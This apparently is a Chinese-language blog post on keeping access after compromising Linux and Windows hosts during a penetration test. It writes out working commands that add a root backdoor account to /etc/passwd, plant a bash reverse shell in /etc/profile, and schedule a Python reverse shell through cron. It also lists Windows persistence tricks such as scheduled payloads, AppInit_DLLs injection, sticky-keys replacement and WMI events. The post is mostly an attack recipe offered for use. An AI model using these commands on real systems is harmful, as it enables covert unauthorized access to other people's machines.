在进行渗透测试并获取目标主机权限后,为了维持所获得的权限,通常需要在目标机器上创建后门。否则,一旦目标密码被更改或漏洞被修复,就会导致权限丢失。本文将介绍在Linux和Windows系统下的权限维持方法。
Linux权限维持
1. 添加账号
在具有root权限时,可以使用以下两种方式添加root权限用户:
- 通过
useradd
命令添加,例如:useradd kali666 -p 123456
- 直接修改
/etc/passwd
文件,例如:echo "backdoor:123456:0:0:me:/root:/bin/bash" >> /etc/passwd
2. 通过环境变量植入后门
可以将后门代码写入以下位置的环境变量中:
/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.profile
~/.bashrc
~/bash_logout
/etc/bashrc
/etc/bash.bashrc
例如:
bash复制echo 'bash -i >& /dev/tcp/192.168.50.1/7777 0>&1' >> /etc/profile
3. 计划任务
使用计划任务定时执行后门代码,可以使用Python或Perl实现。例如:
bash复制echo -e "*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.1\",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" | crontab -
Windows权限维持
1. 利用常见漏洞
利用常见的Windows漏洞进行权限提升,例如MS14-058、MS16-016、MS16-032、永恒之蓝等。
2. 计划任务
设置计划任务定时执行后门程序,例如:
复制schtasks /create /tn shell /tr C:\payload.exe /sc minute /mo 1 /st 10:30:30 /et 10:50:00
3. 环境变量
通过设置环境变量UserInitMprLogonScript
值,实现用户登录时自动运行脚本。
4. 进程退出劫持
在注册表中控制程序退出时执行的动作。
5. AppInit_DLLs注入
修改注册表使User32.dll加载恶意的DLL文件。
6. 随意下载
使用bitsadmin下载并执行恶意脚本。
7. COM组件劫持
将脚本放入COM组件中。
8. 替换cmd.exe
将sethc.exe
替换为cmd.exe
,通过按Shift 5次触发。
9. CMD启动劫持
在CMD启动时检查注册表中的AutoRun键值,并执行其中的脚本。
10. WMIC事件
注册一个事件过滤器,以获取系统权限。
结语
需要注意的是,在实际操作中可能会因为Linux或Windows系统版本的差异导致失败。因此,建议根据目标系统版本调整攻击策略。
暂无评论内容